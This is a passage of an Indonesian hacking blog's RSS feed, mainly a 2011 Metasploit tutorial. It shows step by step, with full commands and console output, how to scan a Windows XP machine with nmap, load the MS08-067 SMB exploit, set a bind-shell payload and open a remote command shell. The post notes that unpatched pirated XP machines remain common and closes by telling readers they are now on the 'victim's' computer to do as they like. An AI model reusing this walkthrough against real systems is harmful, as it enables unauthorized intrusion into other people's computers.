Sekian DUlu Dari Saya, Semoga Ini bermanfaat Buat yang Ingin belajar.</description><link>http://black-mygo.blogspot.com/2011/01/tutorial-hacking-use-sqlimssql.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://4.bp.blogspot.com/_YoCKwZhq-T4/TSsEYDhGVKI/AAAAAAAAAC0/fPg0cE7Dq58/s72-c/mssql.jpeg" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-6874249505225083857.post-5321784726497422037</guid><pubDate>Mon, 10 Jan 2011 05:53:00 +0000</pubDate><atom:updated>2011-02-04T04:11:52.207-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking Tutorial</category><title>Hacking With Basicly Command Metasploit</title><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TUvsppbFRjI/AAAAAAAAAJI/VKMHMOGV_qQ/s300/metasploitB.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TUvsppbFRjI/AAAAAAAAAJI/VKMHMOGV_qQ/s300/metasploitB.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
Pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445, sekarang mungkin udah di pacth deh, tapi masih banyak keknya yang make XP2 bajakan.&lt;br /&gt;
jalankan metasploit nya mau di windows ama di linux keknya sama aja deh , Saya nyobanya di ubuntu 9.04 ni.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Blackmygo@ubuntu:~msfconsole
|\/| |¯ ¯|¯ /¯\ |¯  |¯| |  |¯| | ¯|¯ 
|  | |¯  |  |¯|  ¯| |¯  |_ |_| |  |  
      ¯          ¯                 
        =[ msf  v3.3 dev
        =[ 359 exploits - 233 payloads
        =[ 20 encoders 7 nops
        =[ 132 aux
msf &amp;gt; version
Framework : 3.3 dev.6055
Console     : 3.3 dev.6344
msf &amp;gt;
&lt;/pre&gt;&lt;br /&gt;
oke awalya ketik in aja help untuk ngeliat bantuan yang ada &lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf &amp;gt; help

      Core Commands
      =============

      Command       Description
      -------       -----------
      ?             Help menu
      back          Move back from the current context
      banner        Display an awesome metasploit banner
      cd            Change the current working directory
      connect       Communicate with a host
      exit          Exit the console
      help          Help menu
      info          Displays information about one or more module
      irb           Drop into irb scripting mode
      jobs          Displays and manages jobs
      load          Load a framework plugin
      loadpath      Searches for and loads modules from a path
      quit          Exit the console
      resource      Run the commands stored in a file
      route         Route traffic through a session
      save          Saves the active datastores
      search        Searches module names and descriptions
      sessions      Dump session listings and display information about sessions
      set           Sets a variable to a value
      setg          Sets a global variable to a value
      show          Displays modules of a given type, or all modules
      sleep         Do nothing for the specified number of seconds
      unload        Unload a framework plugin
      unset         Unsets one or more variables
      unsetg        Unsets one or more global variables
      use           Selects a module by name
      version       Show the framework and console library version numbers&lt;/pre&gt;&lt;br /&gt;
Untuk melihat list exploits-nya , gunakan perintah :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf &amp;gt; show exploits&lt;/pre&gt;&lt;br /&gt;
kira-kira yang keluar seperti inilah, panjang banget soalnya :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;windows/smb/ms05_039_pnp              Microsoft Plug and Play Service Overflow
windows/smb/ms06_025_rasmans_reg      Microsoft RRAS Service RASMAN Registry Overflow
windows/smb/ms06_025_rras             Microsoft RRAS Service Overflow
windows/smb/ms06_040_netapi           Microsoft Server Service NetpwPathCanonicalize Overflow
windows/smb/ms06_066_nwapi            Microsoft Services MS06-066 nwapi32.dll
windows/smb/ms06_066_nwwks            Microsoft Services MS06-066 nwwks.dll
windows/smb/ms08_067_netapi           Microsoft Server Service Relative Path Stac&lt;/pre&gt;&lt;br /&gt;
nah kemudian kita harus scan dulu ntu komputer yang mau kita attach&lt;br /&gt;
dengan IP 192.168.1.2 kita pake nmap biar lengkap.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf &amp;gt; sudo nmap -v -sS -A -O 192.168.1.2&lt;/pre&gt;&lt;br /&gt;
Selanjutnya hasilnya keluar seperti ini :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="css" name="code"&gt;[*] exec: sudo nmap -v -sS -A -O 192.168.1.2
[sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2010-01-31 23:50 CIT
Initiating ARP Ping Scan at 23:50
Scanning 192.168.1.2 [1 port]
Host 192.168.1.2 appears to be up ... good.
Interesting ports on 192.168.1.2:
Not shown: 1712 closed ports
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows&lt;/pre&gt;&lt;br /&gt;
Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf &amp;gt; use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) &amp;gt;&lt;/pre&gt;&lt;br /&gt;
Lihat opsi dari exploit ini dengan mengetikkan show options :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; show options&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  

Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting&lt;/pre&gt;&lt;br /&gt;
Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; set rhost 192.168.1.2
rhost =&amp;gt; 192.168.1.2&lt;/pre&gt;&lt;br /&gt;
Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; show targets&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Exploit targets:
   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows XP SP2 English (NX)
   4   Windows XP SP3 English (NX)&lt;/pre&gt;&lt;br /&gt;
Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; set payload windows/shell_bind_tcp
payloads =&amp;gt; windows/shell_bind_tcp&lt;/pre&gt;&lt;br /&gt;
Untuk melihat payload apa saja dalam metasploit, gunakan perintah :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; show payloads&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Compatible payloads
===================
   Name                                            Description
   ----                                            -----------
   generic/debug_trap                Generic x86 Debug Trap
   generic/debug_trap/bind_ipv6_tcp  Generic x86 Debug Trap, Bind TCP Stager (IPv6)
   generic/debug_trap/bind_nonx_tcp  Generic x86 Debug Trap, Bind TCP Stager (No NX Support)
   generic/debug_trap/bind_tcp       Generic x86 Debug Trap, Bind TCP Stager
&lt;/pre&gt;&lt;br /&gt;
Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; show options&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;Module options:
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.2      yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  

Payload options (windows/shell_bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.1.2      no        The target address
Exploit target:
   Id  Name
   --  ----
   0   Automatic Targeting
&lt;/pre&gt;&lt;br /&gt;
sekarang jalankan exploit :&lt;br /&gt;
&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;msf exploit(ms08_067_netapi) &amp;gt; exploit&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:33270 -&amp;gt; 192.168.1.2:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="Xml" name="code"&gt;C:\WINDOWS\system32&amp;gt;ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.1.2
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.1.254

C:\WINDOWS\system32&amp;gt;&lt;/pre&gt;&lt;br /&gt;
sekarang kita udah berada di komputer si korban silahkan lakukan yang anda mau.&lt;br /&gt;
&lt;br /&gt;
Sekian dulu dari saya semoga bermanfaat.</description><link>http://black-mygo.blogspot.com/2011/01/hacking-with-basicly-command-metasploit.html</link><author>noreply@blogger.com (Blackmygo)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh3.googleusercontent.com/_29ZRNl4CE-E/TUvsppbFRjI/AAAAAAAAAJI/VKMHMOGV_qQ/s72-c/metasploitB.jpg" width="72"/><thr:total>0</thr:total></item></channel></rss>